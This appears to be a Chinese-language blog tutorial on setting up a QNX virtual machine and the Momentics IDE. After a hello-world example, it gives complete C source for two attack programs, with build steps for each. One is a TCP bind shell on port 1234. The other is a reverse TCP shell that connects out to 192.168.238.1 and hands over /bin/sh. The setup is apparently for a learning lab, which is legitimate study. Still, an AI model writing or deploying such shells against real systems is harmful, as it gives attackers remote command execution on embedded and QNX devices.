环境来源

虚拟机 6.5.0:https://www.jianshu.com/p/2a3d7e80a725
官方 6.4.1 版虚拟机:http://www.qnx.com/download/group.html?programid=20840
IDE:https://download.freedownloadmanager.org/Windows-PC/Momentics-IDE-for-BlackBerry/FREE-2.0.html

环境安装

虚拟机直接打开运行就行了,IDE 直接安装就行了,注意安装好 IDE 之后打开选择 workspace 的时候不能包含空格,然后打开会提示没法下载 SDK,不用慌,关了就行,去界面的 help -> Update API Levels 下载就行
image.png

QNX的命令

https://bbs.pediy.com/thread-270996.htm
按着这个手册自己试试就行了,跟 linux 的命令还是有很多重合的
很奇怪,我的镜像里面没有 gdb 啥的,各种命令好像还得看镜像

helloworld

新建一个 QNX C Project
image.png
选择架构为 x86
image.png
创建好之后看一下 QNX 的 IP,然后运行 qconn
image.png
然后给 IDE 加上设备,选择 Window -> Target Navigator
image.png
在打开的窗口右键找到这个小摁钮,选择 New QNX Target
image.png
image.png
先点锤子再点运行
image.png
在这里甚至可以直接拖拽上传文件
image.png

TCP bind shell

看看咋写程序,结果发现跟 linux 没啥区别,直接用的下面的代码

  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <netinet/in.h>
  6. int main(void)
  7. {
  8. int clientfd, sockfd;
  9. int port = 1234; //设置绑定的端口
  10. struct sockaddr_in mysockaddr;
  11. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  12. mysockaddr.sin_family = AF_INET;
  13. mysockaddr.sin_port = htons(port);
  14. mysockaddr.sin_addr.s_addr = INADDR_ANY;
  15. bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
  16. listen(sockfd, 1);
  17. clientfd = accept(sockfd, NULL, NULL);
  18. dup2(clientfd, 0);
  19. dup2(clientfd, 1);
  20. dup2(clientfd, 2);
  21. char * const argv[] = {"sh",NULL, NULL};
  22. execve("/bin/sh", argv, NULL);
  23. return 0;
  24. }

需要在项目右键选择 Properties
image.png
然后找到 QNX C/C++ Project 里面的 Linker,在 Category 里面选择 Extra libraries,再选择 Nx targetzhege 这个image.png
在 x86 的 lib 里面找到 libsocket.so 打开,然后编译运行就完事了
image.png

Reverse TCP shell

同理,代码如下:

  1. #include <sys/socket.h>
  2. #include <sys/types.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <netinet/in.h>
  6. #include <arpa/inet.h>
  7. int main(void)
  8. {
  9. int sockfd;
  10. int port = 1234;
  11. struct sockaddr_in mysockaddr;
  12. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  13. mysockaddr.sin_family = AF_INET;
  14. mysockaddr.sin_port = htons(port);
  15. mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
  16. connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
  17. dup2(sockfd, 0);
  18. dup2(sockfd, 1);
  19. dup2(sockfd, 2);
  20. char * const argv[] = {"/bin/sh", NULL};
  21. execve("/bin/sh", argv, NULL);
  22. return 0;
  23. }

image.png